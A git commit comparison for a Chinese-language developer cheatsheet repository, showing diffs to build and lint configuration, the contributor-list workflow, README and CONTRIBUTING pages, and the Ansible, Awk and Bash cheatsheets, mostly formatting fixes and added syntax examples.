Compare commits

..

59 Commits

Author SHA1 Message Date
63739bff97 chore: update workflows config. 2022-11-13 23:26:22 +08:00
a4650ba20b released v1.20.0 2022-11-13 23:25:29 +08:00
304fca65aa feat: add latex.md #47 2022-11-13 23:20:45 +08:00
7dab4bc821 feat: add dart.md #58 2022-11-13 16:19:51 +08:00
a3a03dc5cf doc: add strcut and enum in the rust (#53)
* content: add strcut and enum in the rust

* update

* update
2022-11-13 14:20:13 +08:00
c4027826df doc: modify README.md. 2022-11-13 06:19:40 +00:00
ec5de21ad8 doc: modify CONTRIBUTING.md. 2022-11-13 06:19:39 +00:00
2d29bce40d feat: add php.md #57 2022-11-13 14:18:33 +08:00
45916503c1 doc: update ffmpeg.md #56 2022-11-13 03:53:34 +08:00
7dab833cb5 doc: update quickreference.md. 2022-11-13 03:46:04 +08:00
2787e80dd2 doc: modify README.md. 2022-11-12 18:48:34 +00:00
51377308ab doc: modify CONTRIBUTING.md. 2022-11-12 18:48:34 +00:00
5660ad20dd chore: update contributors. 2022-11-13 02:47:29 +08:00
0917f70be8 doc: add fliter in the ffmpeg (#56) 2022-11-13 00:09:24 +08:00
dcbdaea754 typo: fix typo content in the vim (#52) 2022-11-12 18:01:57 +08:00
144f263ad0 doc: update typescript.md. 2022-11-12 14:28:27 +08:00
ef5a27f5a1 doc: update typescript.md. 2022-11-12 14:26:09 +08:00
82457e896e fix: 修正选择器的真正含义 update css.md (#51) 2022-11-12 12:38:48 +08:00
d796def71c website: update style. 2022-11-12 09:18:22 +08:00
8cb9a8eaa4 doc: update regex.md 2022-11-12 09:17:56 +08:00
739697937d doc: fix error in regex.md 2022-11-12 01:22:29 +08:00
4ce6660ca8 doc: update rust.md #50 #49 2022-11-12 00:53:33 +08:00
5677612d9d doc: add some content in the rust.md (#50) 2022-11-12 00:40:56 +08:00
6d24b1b957 released v1.19.0 2022-11-11 22:53:32 +08:00
72d3bd8d42 doc: update rust.md #48 2022-11-11 17:31:47 +08:00
2d4a9604cf doc: add vec and fix some errors in the rust (#48) 2022-11-11 17:25:02 +08:00
7a22e7cda2 doc: update package.json.md. (#46) 2022-11-11 14:29:17 +08:00
85071d3204 doc: update npm.md 2022-11-11 14:28:31 +08:00
c4694ed832 doc: update package.json.md. (#46) 2022-11-11 13:44:09 +08:00
906cbdd152 doc: add exports in the package.json (#46) 2022-11-11 13:25:07 +08:00
a38f6d8f85 doc: update ffmpeg.md (#18) (#45) 2022-11-11 11:08:00 +08:00
2037e0f6b9 doc: add about ffmpeg's content (#45)
* content: add about ffmpeg's content

* update

* update
2022-11-11 11:00:44 +08:00
bb2cff4f9b chore: update markdownlint config. (#42) 2022-11-11 01:56:28 +08:00
b3c47e2b2d feat: add graphql.md. 2022-11-11 01:53:11 +08:00
5701da6e5b chore: format markdown code. (#42)
* format: fix markdown

* update: fix markdown

* update: fix cron problems

* update: delete .markdownlintignore

* update

* chore: add tab -> 4 space

* chore: fix tab -> 2 in the .editorconfig
2022-11-11 01:51:54 +08:00
ea80136db3 fix: Fix markdown lint command error. (#40 #41) 2022-11-10 13:07:37 +08:00
aa26be4186 chore: fix markdown file automatically (#41)
* update

* update
2022-11-10 12:51:20 +08:00
2b1d33a5db feat: add ruby.md cheatsheet. (#35) 2022-11-10 01:10:23 +08:00
dbf8ac4fb2 chore: solve the use of pnpm not part of the package (#38) 2022-11-09 23:33:40 +08:00
f2f1ef8c52 chore: add the lock file of pnpm and yarn in the .gitignore (#37)
* add the lock file of pnpm and yarn in the .gitignore

* dockerignore
2022-11-09 21:39:24 +08:00
748ed480f4 doc: update systemd.md. 2022-11-09 16:44:52 +08:00
7c2338ea76 website: update style. 2022-11-09 16:24:59 +08:00
90c9fefa51 feat: add systemd.md cheatsheet. (#34) 2022-11-09 15:26:24 +08:00
29f3b971d2 feat: add Tmux.md cheatsheet. (#33) 2022-11-09 14:59:23 +08:00
b2aabe4291 feat: add <red> tag style. 2022-11-09 14:47:22 +08:00
04e6e16a97 doc: update ansible.md (#31) 2022-11-09 11:56:07 +08:00
3db12d6cce doc: update toml.md. 2022-11-09 11:56:07 +08:00
3f0b60187c doc: fix code highlight (#28) 2022-11-09 11:55:55 +08:00
bead2f0e3b doc: update ansible.md (#31)
* update ansible inventory静态分组用法

* Update ansible.md
2022-11-09 11:44:17 +08:00
816f49004f Update ffmpeg.md (#30)
编辑视频剪切部分示例
2022-11-09 11:25:48 +08:00
12b84b8368 doc: Update README.md 2022-11-09 00:40:06 +08:00
56b4b78d7d released v1.18.0 2022-11-09 00:36:52 +08:00
f28c93b918 feat: add jq.md (#27) 2022-11-09 00:26:10 +08:00
0bfe15e4dc feat: add PostgreSQL cheatsheet. (#26) 2022-11-08 14:57:37 +08:00
c1394813bc doc: update README.md (#25) 2022-11-08 13:42:30 +08:00
06c6229cac doc: update css.md. 2022-11-08 11:35:17 +08:00
04dd94d6f8 doc: update cargo.md. 2022-11-08 00:50:27 +08:00
5f19d3feee doc: update ffmpeg.md (#24) 2022-11-07 19:52:29 +08:00
e48fd74c38 doc: update ffmpeg.md. (#24) 2022-11-07 19:50:00 +08:00
107 changed files with 8713 additions and 1489 deletions

View File

@ -4,6 +4,8 @@ docs
scripts
node_modules
package-lock.json
pnpm-lock.yaml
yarn.lock
.DS_Store
.cache

7
.editorconfig Normal file
View File

@ -0,0 +1,7 @@
root = true
[./docs/*.md]
charset = utf-8
indent_style = space
indent_size = 2
insert_final_newline = true

View File

@ -18,11 +18,26 @@ jobs:
- name: Generate Contributors Images
uses: jaywcjlove/github-action-contributors@main
id: contributors
with:
filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\])
output: dist/CONTRIBUTORS.svg
avatarSize: 42
- name: Modify CONTRIBUTING.md
uses: jaywcjlove/github-action-modify-file-content@main
with:
path: CONTRIBUTING.md
body: |
${{steps.contributors.outputs.htmlTable}}
- name: Modify README.md
uses: jaywcjlove/github-action-modify-file-content@main
with:
path: README.md
body: |
${{steps.contributors.outputs.htmlList}}
- name: Create Tag
id: create_tag
uses: jaywcjlove/create-tag-action@main

2
.gitignore vendored
View File

@ -2,6 +2,8 @@ build
dist
node_modules
package-lock.json
pnpm-lock.yaml
yarn.lock
.DS_Store
.cache

View File

@ -1,3 +1,4 @@
{
"**/*.{mjs,css,json,prettierrc,lintstagedrc}": ["prettier --write"]
"**/*.{mjs,css,json,prettierrc,lintstagedrc}": ["prettier --write"],
"./docs/*.md": ["npx markdownlint-cli --fix ./docs"]
}

12
.markdownlint.json Normal file
View File

@ -0,0 +1,12 @@
{
"MD003": false,
"MD013": false,
"MD014": false,
"MD024": false,
"MD033": false,
"MD040": false,
"MD010": {
"code_blocks": true,
"spaces_per_tab": 2
}
}

View File

@ -14,7 +14,7 @@ Contributing 贡献
这是您可以在 Quick Reference 备忘清单上使用的样式参考!【备忘清单介绍】
```
只需要 `标题<h1>``介绍`(标题下面)。脚本会自动识别,通过 GitHub Actions 自动发布 [`Quick Reference`](https://jaywcjlove.github.io/reference) 网站。
只需要 `标题<h1>` `介绍` (标题下面)。脚本会自动识别,通过 GitHub Actions 自动发布 [`Quick Reference`](https://jaywcjlove.github.io/reference) 网站。
## 目录结构
@ -38,7 +38,7 @@ Contributing 贡献
## CSS 类注释
[`Quick Reference`](https://jaywcjlove.github.io/reference) 使用 [`@wcj/markdown-to-html`](https://github.com/jaywcjlove/markdown-to-html) 转换 `Markdown`,并使用 [`rehype-attr`](https://github.com/jaywcjlove/rehype-attr) 插件让其支持通过其注释语法添加类和样式。 此外,您可以在 Quick Reference 备忘清单上使用样式参考https://jaywcjlove.github.io/reference/docs/quickreference.html
[`Quick Reference`](https://jaywcjlove.github.io/reference) 使用 [`@wcj/markdown-to-html`](https://github.com/jaywcjlove/markdown-to-html) 转换 `Markdown`,并使用 [`rehype-attr`](https://github.com/jaywcjlove/rehype-attr) 插件让其支持通过其注释语法添加类和样式。此外,您可以在 Quick Reference 备忘清单上使用样式参考:<https://jaywcjlove.github.io/reference/docs/quickreference.html>
最后,参考现有备忘清单的源代码是一个好习惯!
@ -61,7 +61,7 @@ Contributing 贡献
- SVG 图标尺寸 `<svg height="1em" width="1em"`
- SVG 图标颜色使用继承颜色值 `<svg fill="currentColor"`
#### 提示配置
### 提示配置
```markdown
[Django](./docs/djiango.md)<!--rehype:style=background: rgb(12 75 51/var(\-\-bg\-opacity));&class=contributing-->
@ -69,7 +69,6 @@ Contributing 贡献
添加 `contributing` 类名,会在卡片下方添加 _`👆待完善需要您的参与`_,添加 `data-info=👆看看还缺点儿什么?`,更换默认提示文本。
```markdown
[Django](./docs/djiango.md)<!--rehype:style=background: rgb(12 75 51/var(\-\-bg\-opacity));&class=tag&data-lang=Python-->
```
@ -82,4 +81,51 @@ Contributing 贡献
npm i # 安装依赖
npm run build # 编译输出 HTML
npm run start # 监听 md 文件编译输出 HTML
```
```
或者你也可以使用 `pnpm` 或者 `yarn` 做为包管理器
## 贡献
请参阅[贡献指南](./CONTRIBUTING.md)了解如何开始。一如既往,感谢我们出色的贡献者!
<!--GAMFC--><a href="https://github.com/jaywcjlove" title="小弟调调™">
<img src="https://avatars.githubusercontent.com/u/1680273?v=4" width="42;" alt="小弟调调™"/>
</a>
<a href="https://github.com/Jack-Zhang-1314" title="fw_qaq">
<img src="https://avatars.githubusercontent.com/u/82551626?v=4" width="42;" alt="fw_qaq"/>
</a>
<a href="https://github.com/catcto" title="喵仙人">
<img src="https://avatars.githubusercontent.com/u/5467932?v=4" width="42;" alt="喵仙人"/>
</a>
<a href="https://github.com/demigodliu" title="DemigodLiu">
<img src="https://avatars.githubusercontent.com/u/30372735?v=4" width="42;" alt="DemigodLiu"/>
</a>
<a href="https://github.com/JetSquirrel" title="JetSquirrel">
<img src="https://avatars.githubusercontent.com/u/20291255?v=4" width="42;" alt="JetSquirrel"/>
</a>
<a href="https://github.com/gaoxiaoduan" title="coderduan">
<img src="https://avatars.githubusercontent.com/u/69953511?v=4" width="42;" alt="coderduan"/>
</a>
<a href="https://github.com/hweining" title="hweining">
<img src="https://avatars.githubusercontent.com/u/8973985?v=4" width="42;" alt="hweining"/>
</a>
<a href="https://github.com/liliangrong777" title="liliangrong777">
<img src="https://avatars.githubusercontent.com/u/58727146?v=4" width="42;" alt="liliangrong777"/>
</a>
<a href="https://github.com/onewesong" title="onewesong">
<img src="https://avatars.githubusercontent.com/u/17920822?v=4" width="42;" alt="onewesong"/>
</a>
<a href="https://github.com/ryanhex53" title="ryanhex53">
<img src="https://avatars.githubusercontent.com/u/360426?v=4" width="42;" alt="ryanhex53"/>
</a>
<a href="https://github.com/zxx-457" title="zxx-457">
<img src="https://avatars.githubusercontent.com/u/114141362?v=4" width="42;" alt="zxx-457"/>
</a><!--GAMFC-END-->
上图贡献者列表,由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成贡献者图片。
## License
MIT © [Kenny Wong](https://github.com/jaywcjlove)

View File

@ -9,10 +9,10 @@ Quick Reference
<!--rehype:ignore:end-->
<!--rehype:ignore:start-->
[![Quick Reference](https://user-images.githubusercontent.com/1680273/197915058-b0aafe2c-10fc-4cc3-b54e-66329c7b4450.png)](https://jaywcjlove.github.io/reference)
[![Quick Reference](https://user-images.githubusercontent.com/1680273/200623638-280ac85b-0cfa-4c60-bae3-ae14231acc6f.png)](https://jaywcjlove.github.io/reference)
<!--rehype:ignore:end-->
为开发人员分享快速参考备忘清单【速查表】 _(主要是方便自己)_在看到 [Reference](https://github.com/Randy8080/reference) 快速参考备忘单,感觉非常简单,造轮子使命感突然来了,造个中文版本的,为了方便自己的技术栈查阅,立马撸起来 :)。如果您发现此处的备忘单不合适,您可以通过提交 [PR](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md) 来修复它或提供更好的备忘清单,只针对【中文】用户。以下是开源天使提供的一些备忘清单和快速参考 :)。
为开发人员分享快速参考备忘清单【速查表】在看到 [Reference](https://github.com/Randy8080/reference) 快速参考备忘单,感觉非常简单,造中文版本的轮子使命感突然来了,为了方便自己的技术栈查阅,如果您提供一个清单,我将抽空搬运,立即撸起来 :)。如果您发现此处的备忘单不合适,您可以通过提交 [PR](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md) 来修复它或提供更好的备忘清单,只针对【中文】用户。以下是开源天使提供的一些备忘清单和快速参考 :)。
## 正在建设中...
@ -23,6 +23,7 @@ Quick Reference
[CMake](./docs/cmake.md)<!--rehype:style=background: rgb(92 107 192/var(\-\-bg\-opacity));&class=contributing-->
[Django](./docs/djiango.md)<!--rehype:style=background: rgb(12 75 51/var(\-\-bg\-opacity));&class=contributing tag&data-lang=Python-->
[FFmpeg](./docs/ffmpeg.md)<!--rehype:style=background: rgb(0 193 9/var(\-\-bg\-opacity));&class=contributing-->
[LaTeX](./docs/latex.md)<!--rehype:style=background: rgb(0 128 128/var(\-\-bg\-opacity));&class=contributing-->
[MATLAB](./docs/matlab.md)<!--rehype:style=background: rgb(0 118 168/var(\-\-bg\-opacity));&class=contributing-->
[Vue 3 ](./docs/vue.md)<!--rehype:style=background: rgb(64 184 131/var(\-\-bg\-opacity));&class=contributing-->
<!--rehype:class=home-card-->
@ -31,17 +32,23 @@ Quick Reference
[Bash](./docs/bash.md)<!--rehype:style=background: rgb(72 143 223/var(\-\-bg\-opacity));-->
[C](./docs/c.md)<!--rehype:style=background: rgb(92 107 192/var(\-\-bg\-opacity));-->
[Dart](./docs/dart.md)<!--rehype:style=background: rgb(64 196 255/var(\-\-bg\-opacity));-->
[Docker](./docs/docker.md)<!--rehype:style=background: rgb(72 143 223/var(\-\-bg\-opacity));-->
[Dockerfile](./docs/dockerfile.md)<!--rehype:style=background: rgb(0 72 153/var(\-\-bg\-opacity));&class=tag&data-lang=Docker-->
[Django](./docs/djiango.md)<!--rehype:style=background: rgb(12 75 51/var(\-\-bg\-opacity));&class=contributing tag&data-lang=Python-->
[Golang](./docs/golang.md)<!--rehype:style=background: rgb(39 160 193/var(\-\-bg\-opacity));-->
[GraphQL](./docs/graphql.md)<!--rehype:style=background: rgb(214 66 146/var(\-\-bg\-opacity));-->
[INI](./docs/ini.md)<!--rehype:style=background: rgb(57 59 60/var(\-\-bg\-opacity));-->
[JSON](./docs/json.md)<!--rehype:style=background: rgb(57 59 60/var(\-\-bg\-opacity));-->
[Java](./docs/java.md)<!--rehype:style=background: rgb(211 55 49/var(\-\-bg\-opacity));&class=contributing&data-info=👆看看还缺点儿什么?-->
[LaTeX](./docs/latex.md)<!--rehype:style=background: rgb(0 128 128/var(\-\-bg\-opacity));&class=contributing-->
[Markdown](./docs/markdown.md)<!--rehype:style=background: rgb(103 61 156/var(\-\-bg\-opacity));-->
[MySQL](./docs/mysql.md)<!--rehype:style=background: rgb(103 61 156/var(\-\-bg\-opacity));&class=tag&data-lang=SQL-->
[MySQL](./docs/mysql.md)<!--rehype:style=background: rgb(1 117 143/var(\-\-bg\-opacity));&class=tag&data-lang=SQL-->
[MATLAB](./docs/matlab.md)<!--rehype:style=background: rgb(0 118 168/var(\-\-bg\-opacity));&class=contributing-->
[Python](./docs/python.md)<!--rehype:style=background: rgb(240 81 57/var(\-\-bg\-opacity));-->
[PHP](./docs/php.md)<!--rehype:style=background: rgb(79 91 147/var(\-\-bg\-opacity));-->
[Python](./docs/python.md)<!--rehype:style=background: rgb(43 91 132/var(\-\-bg\-opacity));-->
[PostgreSQL](./docs/postgres.md)<!--rehype:style=background: rgb(43 109 163/var(\-\-bg\-opacity));&class=tag&data-lang=SQL-->
[Ruby](./docs/ruby.md)<!--rehype:style=background: rgb(204 52 45/var(\-\-bg\-opacity));-->
[Rust](./docs/rust.md)<!--rehype:style=background: rgb(71 71 71/var(\-\-bg\-opacity));-->
[Swift](./docs/swift.md)<!--rehype:style=background: rgb(240 81 57/var(\-\-bg\-opacity));-->
[SwiftUI](./docs/swiftui.md)<!--rehype:style=background: rgb(10 127 247/var(\-\-bg\-opacity));&class=tag&data-lang=swift-->
@ -62,7 +69,7 @@ Quick Reference
[JavaScript](./docs/javascript.md)<!--rehype:style=background: rgb(203 183 31/var(\-\-bg\-opacity));-->
[Less.js](./docs/lessjs.md)<!--rehype:style=background: rgb(29 54 93/var(\-\-bg\-opacity));&class=tag&data-lang=CSS-->
[React](./docs/react.md)<!--rehype:style=background: rgb(34 143 173/var(\-\-bg\-opacity));-->
[RegEx](./docs/regex.md)<!--rehype:style=background: rgb(149 36 155/var(\-\-bg\-opacity));-->
[RegEx 正则表达式](./docs/regex.md)<!--rehype:style=background: rgb(149 36 155/var(\-\-bg\-opacity));-->
[TypeScript](./docs/typescript.md)<!--rehype:style=background: rgb(49 120 198/var(\-\-bg\-opacity));-->
[Vue 2](./docs/vue2.md)<!--rehype:style=background: rgb(64 184 131/var(\-\-bg\-opacity));-->
[Vue 3 ](./docs/vue.md)<!--rehype:style=background: rgb(64 184 131/var(\-\-bg\-opacity));&class=contributing-->
@ -85,16 +92,16 @@ Quick Reference
[Gmail](./docs/gmail.md)<!--rehype:style=background: rgb(234 67 54/var(\-\-bg\-opacity));-->
[nginx](./docs/nginx.md)<!--rehype:style=background: rgb(0 153 0/var(\-\-bg\-opacity));-->
[Semver](./docs/semver.md)<!--rehype:style=background: rgb(106 111 141/var(\-\-bg\-opacity));-->
[Sketch](./docs/sketch.md)<!--rehype:style=background: rgb(223 148 0/var(\-\-bg\-opacity));-->
[Sketch](./docs/sketch.md)<!--rehype:style=background: rgb(223 148 0/var(\-\-bg\-opacity));&class=tag&data-lang=macOS-->
[Sublime Text](./docs/sublime-text.md)<!--rehype:style=background: rgb(223 148 0/var(\-\-bg\-opacity));-->
[VSCode](./docs/vscode.md)<!--rehype:style=background: rgb(91 163 230/var(\-\-bg\-opacity));-->
[Vim](./docs/vim.md)<!--rehype:style=background: rgb(9 150 8/var(\-\-bg\-opacity));-->
[WebStorm](./docs/webstorm.md)<!--rehype:style=background: rgb(32 148 220/var(\-\-bg\-opacity));-->
[XPath](./docs/xpath.md)<!--rehype:style=background: rgb(91 163 230/var(\-\-bg\-opacity));-->
[Xcode](./docs/xcode.md)<!--rehype:style=background: rgb(24 151 233/var(\-\-bg\-opacity));-->
[Xcode](./docs/xcode.md)<!--rehype:style=background: rgb(24 151 233/var(\-\-bg\-opacity));&class=tag&data-lang=macOS-->
<!--rehype:class=home-card-->
## Linux 命令
## 命令
[Ansible](./docs/ansible.md)<!--rehype:style=background: rgb(238 0 0/var(\-\-bg\-opacity));&class=contributing tag&data-lang=RedHad&data-info=👆看看还缺点儿什么?-->
[Awk](./docs/awk.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
@ -109,19 +116,22 @@ Quick Reference
[Find](./docs/find.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[FFmpeg](./docs/ffmpeg.md)<!--rehype:style=background: rgb(0 193 9/var(\-\-bg\-opacity));&class=contributing-->
[Htop](./docs/htop.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Home Brew](./docs/homebrew.md)<!--rehype:style=background: rgb(252 185 87/var(\-\-bg\-opacity));-->
[Home Brew](./docs/homebrew.md)<!--rehype:style=background: rgb(252 185 87/var(\-\-bg\-opacity));&class=tag&data-lang=macOS-->
[Netstat](./docs/netstat.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[jq](./docs/jq.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));&class=tag&data-lang=JSON-->
[Lsof](./docs/lsof.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Netcat](./docs/netcat.md)<!--rehype:style=background: rgb(4 92 135/var(\-\-bg\-opacity));-->
[Sed](./docs/sed.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Systemd](./docs/systemd.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[SSH](./docs/ssh.md)<!--rehype:style=background: rgb(99 99 99/var(\-\-bg\-opacity));-->
[Screen](./docs/screen.md)<!--rehype:style=background: rgb(99 99 99/var(\-\-bg\-opacity));-->
[Tmux](./docs/tmux.md)<!--rehype:style=background: rgb(99 99 99/var(\-\-bg\-opacity));-->
[YUM](./docs/yum.md)<!--rehype:style=background: rgb(86 86 123/var(\-\-bg\-opacity));-->
<!--rehype:class=home-card-->
## 其它
[Quick Reference](./docs/quickreference.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Quick Reference](./docs/quickreference.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));&class=tag&data-lang=排版说明-->
[Github Actions](./docs/github-actions.md)<!--rehype:style=background: rgb(121 184 255/var(\-\-bg\-opacity));-->
[Colors Named](./docs/colors-named.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));&class=tag&data-lang=CSS-->
[HTTP 状态码](./docs/http-status-code.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
@ -141,17 +151,50 @@ Quick Reference
[`我有一张备忘单(速查表)`](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md)<!--rehype:class=home-button text-grey&target=__blank-->
<!--rehype:style=margin-top:3rem-->
<!--rehype:ignore:start-->
## 贡献
## 感谢所有贡献者
<!--rehype:wrap-style=text-align: center;max-width: 650px;margin: 0 auto;&class=home-title-reset-->
请参阅[贡献指南](./CONTRIBUTING.md)了解如何开始。一如既往,感谢我们出色的贡献者!
请参阅 [Quick Reference](./docs/quickreference.md) 了解如何开始。一如既往,感谢我们出色的贡献者!
<!--rehype:style=padding-bottom:1rem;-->
<a href="https://github.com/jaywcjlove/reference/graphs/contributors">
<img src="https://jaywcjlove.github.io/reference/CONTRIBUTORS.svg" />
<!--GAMFC--><a href="https://github.com/jaywcjlove" title="小弟调调™">
<img src="https://avatars.githubusercontent.com/u/1680273?v=4" width="42;" alt="小弟调调™"/>
</a>
<a href="https://github.com/Jack-Zhang-1314" title="fw_qaq">
<img src="https://avatars.githubusercontent.com/u/82551626?v=4" width="42;" alt="fw_qaq"/>
</a>
<a href="https://github.com/catcto" title="喵仙人">
<img src="https://avatars.githubusercontent.com/u/5467932?v=4" width="42;" alt="喵仙人"/>
</a>
<a href="https://github.com/demigodliu" title="DemigodLiu">
<img src="https://avatars.githubusercontent.com/u/30372735?v=4" width="42;" alt="DemigodLiu"/>
</a>
<a href="https://github.com/JetSquirrel" title="JetSquirrel">
<img src="https://avatars.githubusercontent.com/u/20291255?v=4" width="42;" alt="JetSquirrel"/>
</a>
<a href="https://github.com/gaoxiaoduan" title="coderduan">
<img src="https://avatars.githubusercontent.com/u/69953511?v=4" width="42;" alt="coderduan"/>
</a>
<a href="https://github.com/hweining" title="hweining">
<img src="https://avatars.githubusercontent.com/u/8973985?v=4" width="42;" alt="hweining"/>
</a>
<a href="https://github.com/liliangrong777" title="liliangrong777">
<img src="https://avatars.githubusercontent.com/u/58727146?v=4" width="42;" alt="liliangrong777"/>
</a>
<a href="https://github.com/onewesong" title="onewesong">
<img src="https://avatars.githubusercontent.com/u/17920822?v=4" width="42;" alt="onewesong"/>
</a>
<a href="https://github.com/ryanhex53" title="ryanhex53">
<img src="https://avatars.githubusercontent.com/u/360426?v=4" width="42;" alt="ryanhex53"/>
</a>
<a href="https://github.com/zxx-457" title="zxx-457">
<img src="https://avatars.githubusercontent.com/u/114141362?v=4" width="42;" alt="zxx-457"/>
</a><!--GAMFC-END-->
上图贡献者列表,由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成贡献者图片。
贡献者列表,由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成
<!--rehype:style=padding-top:1rem;-->
<!--rehype:ignore:start-->
## License
MIT © [Kenny Wong](https://github.com/jaywcjlove)

View File

@ -18,7 +18,6 @@ Ansible 备忘清单
- [Ansible 官方文档](https://docs.ansible.com)
### 配置位置
文件路径 | 说明
@ -27,12 +26,12 @@ Ansible 备忘清单
`~/ansible.cfg` | 用户特定的配置
`$pwd/ansible.cfg` | 当前目录下的配置
### Inventory文件(hosts列表)
#### 静态Inventory
`/etc/ansible/hosts`
```INI
mail.example.com
@ -41,6 +40,41 @@ foo.example.com
bar.example.com
```
### Inventory 主机组使用多个IP和域名
```
[web]
172.18.12.5[1:4]
[webservers]
www[01:50].example.com
```
### Inventory 主机组使用子主机组
```ini
[usa:children]
southeast
northeast
southwest
northwest
```
### 给多台主机设置变量
`group variables`
如果组中的所有主机共享一个变量值,则可以一次将该变量应用于整个组
```ini
[atlanta]
host1
host2
[atlanta:vars]
ntp_server=ntp.atlanta.example.com
proxy=proxy.atlanta.example.com
```
## 命令行(ad-hoc)
### ansible
@ -50,6 +84,7 @@ bar.example.com
```shell
$ ansible all --list-hosts
```
ping所有目标
```shell
@ -72,19 +107,19 @@ $ ansible all -i localhost, -e '{"ansible_connection": "local"}' -a 'hostname'
```shell
$ ansible all -i localhost, -e '{"ansible_connection": "local"}' -m setup
```
```
<!--rehype:className=wrap-text -->
获取远程到本地
```shell
$ ansible target -m fetch -a "src=/tmp/seq dest=/tmp/seq"
```
```
<!--rehype:className=wrap-text -->
拷贝本地到远程
```shell
$ ansible target -m copy -a "src=/tmp/seq dest=/tmp/seq"
```
```
<!--rehype:className=wrap-text -->
### Ansible 命令帮助
@ -95,7 +130,7 @@ $ ansible
$ ansible <host-pattern> [options]
```
----
---
:- | -
:- | -
@ -183,7 +218,6 @@ $ ansible-galaxy init --offline <ROLE>
```
<!--rehype:className=wrap-text-->
### ansible-doc
在本地访问文档
@ -205,13 +239,13 @@ $ ansible-doc [options] [module...]
`--version` | 显示程序的版本号并退出
<!--rehype:className=style-list-->
### ansible-vault
```bash
$ ansible-vault
$ ansible-vault [create|decrypt|edit|encrypt|rekey|view] [--help] [options] vaultfile.yml
```
---
:- | -
@ -232,6 +266,7 @@ $ ansible-vault [create|decrypt|edit|encrypt|rekey|view] [--help] [options] vaul
$ ansible-playbook
$ ansible-playbook playbook.yml
```
---
:- | -
@ -293,13 +328,14 @@ $ ansible-playbook playbook.yml
`-K`, `--ask-become-pass` | 要求提权密码
<!--rehype:className=style-list-->
### ansible-pull
### ansible-pull
<!--rehype:wrap-class=row-span-2-->
```bash
$ ansible-pull
$ ansible-pull -U <repository> [options]
```
---
:- | -
@ -358,10 +394,9 @@ $ ansible-pull -U <repository> [options]
<!-- ### ansible-playbook -->
<!-- todo -->
另见
---
[Getting started with Ansible](https://docs.ansible.com/ansible/latest/getting_started/index.html)
[Introduction to ad hoc commands](https://docs.ansible.com/ansible/latest/user_guide/intro_adhoc.html)
[Ansible cheatsheet](https://github.com/luckylittle/ansible-cheatsheet/blob/master/ansible-cheatsheet.txt)
[Ansible cheatsheet](https://github.com/luckylittle/ansible-cheatsheet/blob/master/ansible-cheatsheet.txt)

View File

@ -25,7 +25,7 @@ $ awk -F: '{print $1, $NF}' /etc/passwd
| | `$NF` | 最后一个字段 |
| | `/etc/passwd` | 输入数据文件 |
### Awk 程序
### Awk 程序
```bash
BEGIN {<初始化>}
@ -59,7 +59,8 @@ $0/NR ▶ │ 1 │ baidu.com │ awk │
$0/NR ▶ │ 2 │ google.com │ 25
└──────┴──────────────┴───────┘
```
---
----
```shell
# 第一个和最后一个字段
@ -253,7 +254,6 @@ awk -v varName="$PWD" '
END {print varName}' </dev/null
```
Awk 运算符
---------
@ -291,17 +291,17 @@ Awk 运算符
- `*`
- `/`
- `%`
- `++`
- `--`
- `++`
- `--`
<!--rehype:className=cols-3 style-none-->
#### 速记作业
- `+=`
- `-=`
- `*=`
- `/=`
- `%=`
- `+=`
- `-=`
- `*=`
- `/=`
- `%=`
<!--rehype:className=cols-3 style-none-->
#### 比较运算符
@ -366,7 +366,6 @@ Awk 函数
`toupper(s)` | 字符串 `s` 转大写
`getline` | 将 `$0` 设置为当前输入文件中的下一个输入记录
### 用户定义函数
```shell
@ -424,7 +423,6 @@ awk 'BEGIN {
}'
```
### 带拆分的数组
```shell
@ -536,7 +534,6 @@ awk -F: '{
}' /etc/passwd
```
Awk 循环
----------
@ -744,6 +741,7 @@ daemon /sbin
-------------
### 正则表达式元字符
- `\`
- `^`
- `$`
@ -785,4 +783,4 @@ $ awk -f demo.awk /etc/passwd
--------
- [GNU awk 用户指南](https://www-zeuthen.desy.de/dv/documentation/unixguide/infohtml/gawk/gawk.html) _(www-zeuthen.desy.de)_
- [AWK cheatsheet](https://gist.github.com/Rafe/3102414) _(gist.github.com)_
- [AWK cheatsheet](https://gist.github.com/Rafe/3102414) _(gist.github.com)_

View File

@ -64,7 +64,6 @@ NAME = "John" # => Error (关于空间)
见:[特殊参数](http://wiki.bash-hackers.org/syntax/shellvars#special_parameters_and_shell_variables)
### 函数
```bash
@ -204,7 +203,7 @@ DIRPATH=${SRC%$BASEPATH}
echo $DIRPATH # => "/path/to/"
```
### Transform
### Transform
```bash
STR="HELLO WORLD!"
@ -220,7 +219,7 @@ echo "${ARR[@],}" # => hello world
echo "${ARR[@]^}" # => Hello World
```
Bash 数组
Bash 数组
------
### 定义数组
@ -247,14 +246,14 @@ Numbers+=(4 5) # 附加 => 1 2 3 4 5
:- | -
:- | -
`${Fruits[0]}` | 第一个元素
`${Fruits[-1]}` | 最后一个元素
`${Fruits[*]}` | 所有元素
`${Fruits[@]}` | 所有元素
`${#Fruits[@]}` | 总数
`${#Fruits}` | 第一节长度
`${#Fruits[3]}` | 第n个长度
`${Fruits[@]:3:2}` | 范围
`${Fruits[0]}` | 第一个元素
`${Fruits[-1]}` | 最后一个元素
`${Fruits[*]}` | 所有元素
`${Fruits[@]}` | 所有元素
`${#Fruits[@]}` | 总数
`${#Fruits}` | 第一节长度
`${#Fruits[3]}` | 第n个长度
